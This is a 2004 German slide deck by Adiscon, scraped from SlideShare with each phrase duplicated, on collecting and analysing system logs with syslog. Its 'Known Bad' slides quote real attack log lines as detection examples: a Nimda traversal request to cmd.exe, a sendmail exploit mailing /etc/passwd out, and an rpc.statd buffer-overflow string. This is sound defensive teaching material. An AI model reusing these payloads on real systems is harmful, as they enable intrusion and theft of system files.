LogFile Auswertung (log analysis)
Als PPT, PDF herunterladen1 gefällt mir658 aufrufe
Das Dokument behandelt die Sammlung und Auswertung von Systemprotokolldateien, einschließlich ihrer Nutzung, Herausforderungen und Lösungen. Insbesondere wird die Bedeutung der Zentralisierung von Logdaten, die Standardisierung durch Syslog sowie verschiedene Analysemethoden hervorgehoben. Es werden auch datenschutzrechtliche Aspekte und das Problem der Manipulation behandelt.
![Copyright © 2004 Adiscon GmbH www.adiscon.com
syslog: formatsyslog: format
kurze Textmeldung (< 1024 byte)kurze Textmeldung (< 1024 byte)
Übermittlung via UDP (ungesichert)Übermittlung via UDP (ungesichert)
Facility/Severity: Numerische WerteFacility/Severity: Numerische Werte
für Filterungfür Filterung
KEINE Spezifikation des TextteilesKEINE Spezifikation des Textteiles
(anders als z.B. SNMP)(anders als z.B. SNMP)
<38>Nov 12 15:11:26 su(pam_unix)[2246]:
session opened for user root by
rger(uid=500)](https://image.slidesharecdn.com/vist-2004-11-130501074401-phpapp01/85/LogFile-Auswertung-log-analysis-9-320.jpg)
![Copyright © 2004 Adiscon GmbH www.adiscon.com
Beispiele „Known Bad“ IBeispiele „Known Bad“ I
Nimda:Nimda:
204.120.69.195 - - [18/Sep/2001:09:35:19204.120.69.195 - - [18/Sep/2001:09:35:19
-0500] "GET /scripts/..%-0500] "GET /scripts/..%
%35%63../winnt/system32 /cmd.exe?/c+dir%35%63../winnt/system32 /cmd.exe?/c+dir
HTTP/1.0" 400 215 "-" "-"HTTP/1.0" 400 215 "-" "-"
Sendmail Exploits:Sendmail Exploits:
Jul 21 01:25:49 ariel sendmail[308]:Jul 21 01:25:49 ariel sendmail[308]:
BAA00307: to=lamarbroc@delphi.com,BAA00307: to=lamarbroc@delphi.com,
ctladdr=":/bin/mail root@ariel.sdsc.eductladdr=":/bin/mail root@ariel.sdsc.edu
</etc/passwd", delay=00:00:34, mailer=smtp,</etc/passwd", delay=00:00:34, mailer=smtp,
relay=bos1h.delphi.com. (192.80.63.8),relay=bos1h.delphi.com. (192.80.63.8),
stat=Sent (Ok.)stat=Sent (Ok.)](https://image.slidesharecdn.com/vist-2004-11-130501074401-phpapp01/85/LogFile-Auswertung-log-analysis-18-320.jpg)
![Copyright © 2004 Adiscon GmbH www.adiscon.com
Beispiele „Known Bad“ IIBeispiele „Known Bad“ II
Buffer Overflows:Buffer Overflows:
Jan 02 16:19:45 xxx.xxx.xxx.xxx rpc.statd[351]:Jan 02 16:19:45 xxx.xxx.xxx.xxx rpc.statd[351]:
gethostbyname error forgethostbyname error for
^X÷ÿ¿^X÷ÿ¿^Y÷ÿ¿^Y÷ÿ¿^Z÷ÿ¿^Z÷ÿ¿^[÷ÿ¿^[÷ÿ¿bffff750^X÷ÿ¿^X÷ÿ¿^Y÷ÿ¿^Y÷ÿ¿^Z÷ÿ¿^Z÷ÿ¿^[÷ÿ¿^[÷ÿ¿bffff750
804971090909090687465676274736f6d616e797265206520726f7804971090909090687465676274736f6d616e797265206520726f7
220726f66220726f66
bffff718bffff718
bffff719 bffff71abffff719 bffff71a
bffff71bbffff71b
!!
!!
](https://image.slidesharecdn.com/vist-2004-11-130501074401-phpapp01/85/LogFile-Auswertung-log-analysis-19-320.jpg)
LogFile Auswertung (log analysis)
- 1. Copyright © 2004 Adiscon GmbH www.adiscon.com Logfile AuswertungLogfile Auswertung „Getting it there and getting„Getting it there and getting something out of it...“something out of it...“ Rainer GerhardsRainer Gerhards AdisconAdiscon
- 2. Copyright © 2004 Adiscon GmbH www.adiscon.com Worum es geht...Worum es geht... SammlungSammlung undund AuswertungAuswertung vonvon System-ProtokolldateienSystem-Protokolldateien • NutzenNutzen • MöglichkeitenMöglichkeiten • SchwierigkeitenSchwierigkeiten • LösungenLösungen DenkansätzeDenkansätze • KEINE Produktpräsentation!KEINE Produktpräsentation! • KEINE fertigen Lösungen!KEINE fertigen Lösungen!
- 3. Copyright © 2004 Adiscon GmbH www.adiscon.com Was beinhalten Logs?Was beinhalten Logs? Betriebsmanagement-InfosBetriebsmanagement-Infos Securitymanagement-InfosSecuritymanagement-Infos • Benutzeran- und -abmeldungenBenutzeran- und -abmeldungen • Nachrichtenverkehr (Firewall, Router, ...)Nachrichtenverkehr (Firewall, Router, ...) • erkannte Viren/Malwareerkannte Viren/Malware • Zugriffe auf DatenobjekteZugriffe auf Datenobjekte • Ressourcenprobleme (out of space...)Ressourcenprobleme (out of space...) • und viel, viel mehr...und viel, viel mehr...
- 4. Copyright © 2004 Adiscon GmbH www.adiscon.com Nutzen von LogsNutzen von Logs KapazitätsplanungenKapazitätsplanungen FehleranalyseFehleranalyse (Realzeit-)Alarmierung(Realzeit-)Alarmierung BeweissicherungBeweissicherung Forensische AnalyseForensische Analyse (Interne) Auditierung(Interne) Auditierung Achtung!Achtung! • DatenschutzDatenschutz • Mitbestimmungsrechte BetriebsratMitbestimmungsrechte Betriebsrat
- 5. Copyright © 2004 Adiscon GmbH www.adiscon.com „„getting it there...“getting it there...“ Logs liegen auf einzelnen GerätenLogs liegen auf einzelnen Geräten es muss zentralisiert werden, umes muss zentralisiert werden, um Gesamtbild zu erhaltenGesamtbild zu erhalten Herstellerlösungen decken oft nurHerstellerlösungen decken oft nur einen Teilbereich abeinen Teilbereich ab
- 6. Copyright © 2004 Adiscon GmbH www.adiscon.com LogquellenLogquellen Geräte (Router, Firewall) mit syslogGeräte (Router, Firewall) mit syslog *NIX syslog*NIX syslog Windows Event LogsWindows Event Logs TextdateienTextdateien DatenbanktabellenDatenbanktabellen serielle Geräteserielle Geräte ......
- 7. Copyright © 2004 Adiscon GmbH www.adiscon.com Zugang zu Log-QuellenZugang zu Log-Quellen je nach Systemje nach System • unterschiedlicher Zugriffunterschiedlicher Zugriff • unterschiedliches Meldungsformatunterschiedliches Meldungsformat • unterschiedliche Aussagekraftunterschiedliche Aussagekraft Selbst gleiche Geräte, inSelbst gleiche Geräte, in unterschiedlichen Releases, erzeugenunterschiedlichen Releases, erzeugen unterschiedliche Log-Meldungenunterschiedliche Log-Meldungen APIs in hohem Maße inkompatibelAPIs in hohem Maße inkompatibel
- 8. Copyright © 2004 Adiscon GmbH www.adiscon.com Lösung - syslogLösung - syslog syslog ist kleinste gemeinsame Untermengesyslog ist kleinste gemeinsame Untermenge ursprünglich entstanden im Umfeld vonursprünglich entstanden im Umfeld von sendmailsendmail de-facto Standard (späte „Standardisierung“de-facto Standard (späte „Standardisierung“ bisher nur über einen informational RFC)bisher nur über einen informational RFC) extrem einfach zu implementieren (undextrem einfach zu implementieren (und daher sehr große Unterstützung)daher sehr große Unterstützung) sollte eine Logquelle kein syslogsollte eine Logquelle kein syslog unterstützen, gibt es bestimmt einenunterstützen, gibt es bestimmt einen Konverter dafür (z.B. EventReporter fürKonverter dafür (z.B. EventReporter für Windows Event Log)Windows Event Log) syslog ist in der Praxis erprobt und bewährtsyslog ist in der Praxis erprobt und bewährt
- 9. Copyright © 2004 Adiscon GmbH www.adiscon.com syslog: formatsyslog: format kurze Textmeldung (< 1024 byte)kurze Textmeldung (< 1024 byte) Übermittlung via UDP (ungesichert)Übermittlung via UDP (ungesichert) Facility/Severity: Numerische WerteFacility/Severity: Numerische Werte für Filterungfür Filterung KEINE Spezifikation des TextteilesKEINE Spezifikation des Textteiles (anders als z.B. SNMP)(anders als z.B. SNMP) <38>Nov 12 15:11:26 su(pam_unix)[2246]: session opened for user root by rger(uid=500)
- 10. Copyright © 2004 Adiscon GmbH www.adiscon.com syslog: Der Meldungsinhalt...syslog: Der Meldungsinhalt... leidiges Problemleidiges Problem keine Standardisierung in Sichtkeine Standardisierung in Sicht jeder Entwickler schickt, was er fürjeder Entwickler schickt, was er für richtig hält – und in dem Format, inrichtig hält – und in dem Format, in dem er es für richtig hält...dem er es für richtig hält... Nachbearbeitung der MeldungenNachbearbeitung der Meldungen erforderlicherforderlich verschiedene Analysetoolsverschiedene Analysetools
- 11. Copyright © 2004 Adiscon GmbH www.adiscon.com syslog: Bittere Pillen...syslog: Bittere Pillen... Probleme aus der PraxisProbleme aus der Praxis • MeldungsverlusteMeldungsverluste • einfach zu fälscheneinfach zu fälschen • einfach mitzuleseneinfach mitzulesen Fortentwicklung des ProtokollsFortentwicklung des Protokolls • IETF Arbeitsgruppe seit ca. 2000IETF Arbeitsgruppe seit ca. 2000 • syslog-protocol - neues Format, Layerssyslog-protocol - neues Format, Layers • syslog-sign - Signaturensyslog-sign - Signaturen • RFC 3195 (syslog-reliable) – sichere undRFC 3195 (syslog-reliable) – sichere und verschlüsselte Übertragungverschlüsselte Übertragung Für viele Probleme finden sich Lösungen –Für viele Probleme finden sich Lösungen – man muss nur nachdenken...man muss nur nachdenken...
- 12. Copyright © 2004 Adiscon GmbH www.adiscon.com Aufbau der Log-InfrastrukturAufbau der Log-Infrastruktur TypischTypisch • Systeme so konfigurieren, dass auch tatsächlichSysteme so konfigurieren, dass auch tatsächlich relevanterelevante Logs erzeugt werdenLogs erzeugt werden • Lieferung der Logdaten an ein zentrales SystemLieferung der Logdaten an ein zentrales System • evtl. (Near)-RealTime Alertingevtl. (Near)-RealTime Alerting • Auswertung auf dem zentralen SystemAuswertung auf dem zentralen System je nach Aufgabenstellung natürlich gänzlichje nach Aufgabenstellung natürlich gänzlich verschiedene Strukturenverschiedene Strukturen • DatenschutzDatenschutz • Beweissicherung / AuditierungBeweissicherung / Auditierung
- 13. Copyright © 2004 Adiscon GmbH www.adiscon.com Beispiel: Relay-ArchitekturBeispiel: Relay-Architektur
- 14. Copyright © 2004 Adiscon GmbH www.adiscon.com Speicherung der LogdateienSpeicherung der Logdateien DatenbankenDatenbanken • einfache Abfrageeinfache Abfrage • für große Logmengen ungeeignetfür große Logmengen ungeeignet (Durchsatz)(Durchsatz) TextdateienTextdateien • sehr viel besserer Durchsatzsehr viel besserer Durchsatz • von vielen Tools unterstütztvon vielen Tools unterstützt • in der interaktiven Analyse problematischin der interaktiven Analyse problematisch Gespeicherte Logs müssen besondersGespeicherte Logs müssen besonders gegen Manipulation geschützt werden!gegen Manipulation geschützt werden!
- 15. Copyright © 2004 Adiscon GmbH www.adiscon.com „„getting something out of it...“getting something out of it...“ The common item to look for whenThe common item to look for when reviewing log files is anything thatreviewing log files is anything that appears out of the ordinary.appears out of the ordinary. CERT Coordination CenterCERT Coordination Center Intrusion Detection ChecklistIntrusion Detection Checklist
- 16. Copyright © 2004 Adiscon GmbH www.adiscon.com Einige Auswertungsverfahren...Einige Auswertungsverfahren... Basierend auf SignaturenBasierend auf Signaturen • kown badkown bad • „„artificial ignorance“ (Marcus Ranum)artificial ignorance“ (Marcus Ranum) Basierend auf StatistikenBasierend auf Statistiken „„Never before seen“Never before seen“
- 17. Copyright © 2004 Adiscon GmbH www.adiscon.com Known BadKnown Bad vergleichbar Virensignaturdateienvergleichbar Virensignaturdateien bekannte Muster von Attackenbekannte Muster von Attacken besondere Problematik: je nachbesondere Problematik: je nach meldendem System/Version könnenmeldendem System/Version können die Signaturen unterschiedlich seindie Signaturen unterschiedlich sein
- 18. Copyright © 2004 Adiscon GmbH www.adiscon.com Beispiele „Known Bad“ IBeispiele „Known Bad“ I Nimda:Nimda: 204.120.69.195 - - [18/Sep/2001:09:35:19204.120.69.195 - - [18/Sep/2001:09:35:19 -0500] "GET /scripts/..%-0500] "GET /scripts/..% %35%63../winnt/system32 /cmd.exe?/c+dir%35%63../winnt/system32 /cmd.exe?/c+dir HTTP/1.0" 400 215 "-" "-"HTTP/1.0" 400 215 "-" "-" Sendmail Exploits:Sendmail Exploits: Jul 21 01:25:49 ariel sendmail[308]:Jul 21 01:25:49 ariel sendmail[308]: BAA00307: to=lamarbroc@delphi.com,BAA00307: to=lamarbroc@delphi.com, ctladdr=":/bin/mail root@ariel.sdsc.eductladdr=":/bin/mail root@ariel.sdsc.edu </etc/passwd", delay=00:00:34, mailer=smtp,</etc/passwd", delay=00:00:34, mailer=smtp, relay=bos1h.delphi.com. (192.80.63.8),relay=bos1h.delphi.com. (192.80.63.8), stat=Sent (Ok.)stat=Sent (Ok.)
- 19. Copyright © 2004 Adiscon GmbH www.adiscon.com Beispiele „Known Bad“ IIBeispiele „Known Bad“ II Buffer Overflows:Buffer Overflows: Jan 02 16:19:45 xxx.xxx.xxx.xxx rpc.statd[351]:Jan 02 16:19:45 xxx.xxx.xxx.xxx rpc.statd[351]: gethostbyname error forgethostbyname error for ^X÷ÿ¿^X÷ÿ¿^Y÷ÿ¿^Y÷ÿ¿^Z÷ÿ¿^Z÷ÿ¿^[÷ÿ¿^[÷ÿ¿bffff750^X÷ÿ¿^X÷ÿ¿^Y÷ÿ¿^Y÷ÿ¿^Z÷ÿ¿^Z÷ÿ¿^[÷ÿ¿^[÷ÿ¿bffff750 804971090909090687465676274736f6d616e797265206520726f7804971090909090687465676274736f6d616e797265206520726f7 220726f66220726f66 bffff718bffff718 bffff719 bffff71abffff719 bffff71a bffff71bbffff71b !! !!
- 20. Copyright © 2004 Adiscon GmbH www.adiscon.com Known Good /Known Good / Artificial IgnoranceArtificial Ignorance bekannte Log-Einträge werdenbekannte Log-Einträge werden ausgefiltertausgefiltert Parameter in den Einträgen erfordernParameter in den Einträgen erfordern oft spezielle Beachtungoft spezielle Beachtung Nur die verbleibenden Einträge werdenNur die verbleibenden Einträge werden beachtetbeachtet ACHTUNG: „Gute“ Einträge könnenACHTUNG: „Gute“ Einträge können auch von (erfolgreichen) Attackenauch von (erfolgreichen) Attacken erzeugt worden sein.erzeugt worden sein.
- 21. Copyright © 2004 Adiscon GmbH www.adiscon.com StatistikenStatistiken Betrachtet werdenBetrachtet werden • bestimmte Messzahlen (z.B.bestimmte Messzahlen (z.B. Verkehrsvolumen)Verkehrsvolumen) • (syslog-) Meldungsvolumen selbst(syslog-) Meldungsvolumen selbst Vergleich von aktuellem Wert zuVergleich von aktuellem Wert zu statistischem Mittelwertstatistischem Mittelwert Signifikante Abweichungen könnenSignifikante Abweichungen können auf ein Problem hindeutenauf ein Problem hindeuten • ABER: Feiertage können signifikanteABER: Feiertage können signifikante Abweichungen erzeugen...Abweichungen erzeugen...
- 22. Copyright © 2004 Adiscon GmbH www.adiscon.com Never before SeenNever before Seen Besonders beachtenswert sindBesonders beachtenswert sind • Ereignisse, die noch NIEMALS aufgetretenEreignisse, die noch NIEMALS aufgetreten sind (Marcus Ranum, loganlysis list)sind (Marcus Ranum, loganlysis list) • Ereignisse, die extrem selten auftretenEreignisse, die extrem selten auftreten (Rainer Gerhards, „Needle in Haystack“)(Rainer Gerhards, „Needle in Haystack“) Vorsicht: Neue Software-VersionenVorsicht: Neue Software-Versionen oder Geräte können Ergebnisoder Geräte können Ergebnis temporär verfälschen!temporär verfälschen!
- 23. Copyright © 2004 Adiscon GmbH www.adiscon.com Automatische Analyse IAutomatische Analyse I Gefahr von „false positives“ sehr hochGefahr von „false positives“ sehr hoch zu viel Automatik kann evtl. selbst zuzu viel Automatik kann evtl. selbst zu denial of service genutzt werden:denial of service genutzt werden: • auto-Regel (basierend auf „kown bad“)auto-Regel (basierend auf „kown bad“) schließt Firewall für IPs, von denenschließt Firewall für IPs, von denen Attacken ausgehenAttacken ausgehen • Attackierender spooft Pakete mit fremdenAttackierender spooft Pakete mit fremden IPs für einen gesamten RangeIPs für einen gesamten Range • Ergebnis: unsere Regel sperrt dieErgebnis: unsere Regel sperrt die gespooften IPs aus... autsch ;)gespooften IPs aus... autsch ;)
- 24. Copyright © 2004 Adiscon GmbH www.adiscon.com Automatische Analyse IIAutomatische Analyse II automatische Alarme sollten manuellautomatische Alarme sollten manuell überprüft werdenüberprüft werden automatische Aktionen könnenautomatische Aktionen können verwendet werden, wenn diesverwendet werden, wenn dies zwingend erforderlich erscheint. Dannzwingend erforderlich erscheint. Dann müssen aber alle Konsequenzenmüssen aber alle Konsequenzen durchdacht werden!durchdacht werden!
- 25. Copyright © 2004 Adiscon GmbH www.adiscon.com Unterstützung der manuellenUnterstützung der manuellen AnalyseAnalyse Komprimierung und KonsolidierungKomprimierung und Konsolidierung notwendignotwendig dem Analysierenden muss der Zugangdem Analysierenden muss der Zugang zu den Low-Level Informationenzu den Low-Level Informationen einfach möglich sein (oftmals kann nureinfach möglich sein (oftmals kann nur damit eine endgültige Entscheidungdamit eine endgültige Entscheidung gefällt werden)gefällt werden)
- 26. Copyright © 2004 Adiscon GmbH www.adiscon.com ZusammenfassungZusammenfassung Log-Dateien beinhalten sehr hilfreicheLog-Dateien beinhalten sehr hilfreiche InformationenInformationen Strategie zum zentralen SammelnStrategie zum zentralen Sammeln zwingend erforderlichzwingend erforderlich In heterogenen Umgebungen istIn heterogenen Umgebungen ist syslog oft die einzige Möglichkeit, hatsyslog oft die einzige Möglichkeit, hat aber Restriktionenaber Restriktionen In der Analyse nicht nur aufIn der Analyse nicht nur auf Automatiken verlassen.Automatiken verlassen.
- 27. Copyright © 2004 Adiscon GmbH www.adiscon.com Fragen?Fragen? rgerhards@adiscon.comrgerhards@adiscon.com www.adiscon.comwww.adiscon.com www.monitorware.comwww.monitorware.com Adiscon GmbH Franz-Marc-Str. 144 50374 Erftstadt 0800-ADISCON (0800/2347266) info@adiscon.com
- 28. Copyright © 2004 Adiscon GmbH www.adiscon.com Weitere Interessante LinksWeitere Interessante Links www.loganalysis.orgwww.loganalysis.org www.sans.orgwww.sans.org http://www.dshield.com/http://www.dshield.com/ www.syslog.cc/ietf/www.syslog.cc/ietf/ http://www.ietf.org/html.charters/syslohttp://www.ietf.org/html.charters/syslo g-charter.htmlg-charter.html http://www.monitorware.com/en/workihttp://www.monitorware.com/en/worki nprogress/nature-of-syslog-data.phpnprogress/nature-of-syslog-data.php http://www.monitorware.com/en/workihttp://www.monitorware.com/en/worki nprogress/Needle-in-Haystack.phpnprogress/Needle-in-Haystack.php
- 29. Copyright © 2004 Adiscon GmbH www.adiscon.com DanksagungDanksagung Der Autor möchte sich insbesondereDer Autor möchte sich insbesondere bei Dr. Tina Bird vonbei Dr. Tina Bird von www.loganalysis.org für diewww.loganalysis.org für die Überlassung einiger Beispiele ausÜberlassung einiger Beispiele aus Ihrem Loganalyse-Seminar bedanken.Ihrem Loganalyse-Seminar bedanken.